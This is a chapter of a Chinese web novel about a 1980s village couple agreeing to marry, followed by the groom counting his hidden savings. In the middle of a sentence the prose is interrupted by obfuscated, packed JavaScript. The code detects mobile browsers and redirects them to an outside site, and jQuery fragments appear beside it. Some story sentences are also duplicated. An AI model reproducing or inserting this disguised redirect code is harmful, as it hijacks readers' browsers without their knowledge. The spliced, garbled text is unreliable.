32. 定终身

作品:《八零从野丫头到大厂长

    “哈哈哈......秧苗,我太高兴了,真的是太高兴了,秧苗。”李秋华像个孩子似的绕着秦秧苗不停的转圈,脸上笑的合不拢嘴:“我现在就是这天底下最幸福的人。”


    秦秧苗抿嘴笑了笑,故意虎着脸道:“你可别高兴太早,我还有几个条件的,你若能答应,我才刚说的事就算数,若觉苛刻,之前的话你只当我没说。”


    李秋华立刻挺直腰板,表情认真起来:“秧苗你说,就是上刀山下火海我也答应。”


    “先别急着打包票。”秦秧苗轻轻摇头,“听完再说也不迟。”


    “好,你说,我听着。”李秋华乖乖站定,像个认真听课的学生。


    秦秧苗清了清嗓子:“第一,要是真嫁给你,婚后家里家外的大事小事都得听我的。”


    李秋华应的干脆:“不用等婚后,从现在起秧苗你说啥我听啥。”


    “第二,结婚后咱们必须分家单过,不能跟公婆住一个屋檐下。你挣的钱也都得交给我保管支配。”秦秧苗说着,仔细观察李秋华的反应。


    “没问题!”李秋华答应得干脆利落。


    秦秧苗深吸一口气,说出最重要的第三条:“第三,将来要是跟你爸妈有什么矛盾,你必须站在我这边。不能说什么''他们是长辈你忍忍'',或者''那是我妈我能怎么办''这种话。要是他们挑我的不是,不等我开口,你就得替我挡回去。"


    说到这个,秦秧苗语气不自觉地坚定起来,她从小看惯了她妈跟她爷奶之间的纷争,深谙夫妻离心之苦,一定要李秋华站队自己。


    李秋华明显愣了一下。秦秧苗心头一紧,正要说话,却见他重重点头:“这是自然!我怎么可能帮着后娘欺负自己媳妇?”


    “后妈?”秦秧苗这才想起李秋华家里的特殊情况,以后他们很恐怕难得到父母的扶持帮助。不过这点事在秦秧苗看来根本不算啥,没有公婆插手反倒更合她意——这样她就能真正当家做主了。


    见秦秧苗迟迟不说话,李秋华小心翼翼地开口:“秧苗,还有啥?”


    秦秧苗轻轻摇摇头:“就这些了!”


    “那......”李秋华迟疑了下,而后下定决心般道:“那我给你说说我的情况。”


    秦秧苗拢了拢鬓角的碎发,温声道:“好,你说吧!”


    李秋华的目光落在脚边的树墩上,手指无意识地描摹着上面的裂纹:"七岁那年,我妈得病走了。我爸很快就续娶了现在的后妈。”


    他的语调很慢,说话的声音也很轻,像在说一件很平常的事,可秦秧苗分明看见他指尖在微微发抖。


    “不到半年,后妈带着自己的一双儿女进门,后来又添了两个弟妹......”


    他顿了顿,声音愈发低沉,“三间土坯房,爸和后妈带着小妹住一间屋,大哥带着二姐三弟住一间屋,我......”


    秦秧苗看见他喉结剧烈滚动了一下。


    “我睡堂屋的条凳,冬天冻的受不了我就去钻草垛子。”他忽然扯出一个笑,"不过也没睡多久,十岁出头我就开始四处给人帮工,刚开始只能挣几口饭,后来大了慢慢就能挣到点钱。


    十四岁那年,我自己搭了窝棚搬出来......”


    他忽然抬头,眼睛亮得惊人,“秧苗我会种地、会捕鱼、还能做小买卖,我身上有的是力气,你若是肯嫁给我,我会拼了命的对你好,努力让你过上好日子!”


    李秋华抬起头,眼睛里迸射出惊人的亮光:“秧苗,我现在存了些钱,虽然不多但我有力气,会种地,会捕鱼,还能去镇上做点小买卖。”


    他的声音突然哽了一下,又很快稳住:"你要是肯嫁给我,我...我发誓这辈子都把你放在心尖上。你说往东我绝不往西,你指哪儿我打哪儿,挣的每一分钱都交到你手里。”


    一口气将自己的情况说完,李秋华抿唇紧张的望向秦秧苗,那大气不敢出的样子,活像等待被宣判的囚犯。


    秦秧苗望着眼眶发红的李秋华,嘴边露出一抹浅笑:“那,咱们就说定了。”


    “好!”李秋华下意识应道,随即猛地愣住,眼睛瞪得溜圆,“啥?秧苗你刚才说啥?”


    看着他那傻乎乎的模样,秦秧苗忍不住笑出声:“怎么,没听清?”


    “不,不,不是......”李秋华脑袋摇的拨浪鼓一般:“听清了,我听清了,就是,就是不敢相信.”他的声音越来越小,“秧苗你真的要嫁给我?不嫌弃我穷,我,我可是连一间像样的屋子都没有啊!”


    李秋华脸上写满了局促和不安。既高兴自己被天上掉馅饼的好事砸中,又怕委屈了心爱的姑娘,一时纠结的五官都皱到了一块。


    秦秧苗神色坦然,她很看得开:“一时穷怕什么,你刚刚不都说了自己有本事?”


    她的眼睛亮晶晶的,似乎对未来充满期待:“再说了,难道我就不能干了?现在政策这么好,咱们两个大活人,只要肯干,还怕挣不来一份家业?”


    要说条件,李秋华确实算不上好。他父母疼爱,无像样房屋,无丰厚家底。可他却也有旁人都没有的好处。


    秦秧苗看得分明,他那双布满老茧的手见证了多少艰辛,那双明亮的眼睛藏着多少坚韧。相比那些一味听从父母,凡是依靠家里帮衬,眼前这个白手起家的男人才更让她心动。


    最重要的是,他愿意把家交给她来当。这个承诺比多少家当都珍贵。想起二姐那逆来顺受的模样,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938442|176087||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想道村里那些嫁人后反而更不自由的姐妹,秦秧苗越发坚定自己的选择没错。


    “李秋华”秦秧苗再次确认:“你当真能做到以后事事听我的?若是真的,咱们过几日就去领证。”


    夜色渐浓,李秋华望着眼前这个倔强的姑娘,忽然红了眼眶。他重重地点头,像是要把满腔承诺都刻进骨子里:“我李秋华对天发誓,这辈子都听秧苗的。若违此誓,天打雷劈!”


    “好!”两人都是干脆性子,片刻功夫就定下了终身。


    说完正是,秦秧苗仿佛才想起害羞,她眼看着天色不早只匆匆丢下一句:"我该走了!”转身就要离开。


    "秧苗!"李秋华见人要走,下意识伸手想去拉,指尖堪堪擦过她的衣角又急忙缩回,“那......那我啥时候还能再见着你。”


    少女的脚步顿了顿,红着脸道:“过两天吧!”随即逃也似的离开了。


    李秋华在原地站了一会儿,之后再次迈步跟了上去,直到那抹纤细的身影进了村子,他才恋恋不舍地转身返回。


    李秋华的影子在田埂上拖得老长。若仔细观察,就会发现他去的方向并非刘庄,而是折返向了河坡旁的田地。


    那里有一间小小的窝棚,用柴杆和泥巴围搭而成,岁月侵蚀让泥糊的墙壁有些开裂,顶子上的茅草也被风吹得四处乱舞,可就是这么一处破旧的地方,却让李秋华无比心安,因为这是唯一一处属于他自己的地方。


    玉米杆编织的房门发出"吱呀"轻响,李秋华仰面躺在由木板和稻草铺就的床铺上。黑暗中,他的嘴角不受控制地上扬,却在下一秒又紧紧抿起。


    身下的稻草发出细碎的声响,他粗糙的指尖无意识地捻着一根草茎。秧苗不嫌弃他穷,可他怎么能真让她受委屈?结婚总得置办些像样的家什,彩礼也不能太寒酸......


    这个念头一起,李秋华猛地坐起身,草铺发出"哗啦"一声响。他三步并作两步冲到门外,黑暗中,河坡边那棵歪脖子老柳树静静伫立。


    李秋华掌心贴着粗糙的树皮,像抚摸老友般轻轻拍了拍,随即利落地攀上枝头。树枝轻晃,惊起一只夜栖的喜鹊,"扑棱棱"飞向远处。


    树梢的喜鹊窝里,那个缺了口的黑瓷坛依旧安然无恙。李秋华警惕地环视四周,确保周边没人瞧见,李秋华又“嗖”一下从树上滑下来。


    抱着小瓷坛再次回到窝棚,点亮平时舍不得用的煤油灯,李秋华盘腿坐在草铺上,小心翼翼掀开了瓷坛的封口。


    堵在坛口最外面的是一块洗的发白的蓝布,最先取出的是一块洗得发白的蓝布,接着是充当隔层的瓦片,最后——压在坛底的那叠纸币整整齐齐地露了出来,边角都被抚得平平整整。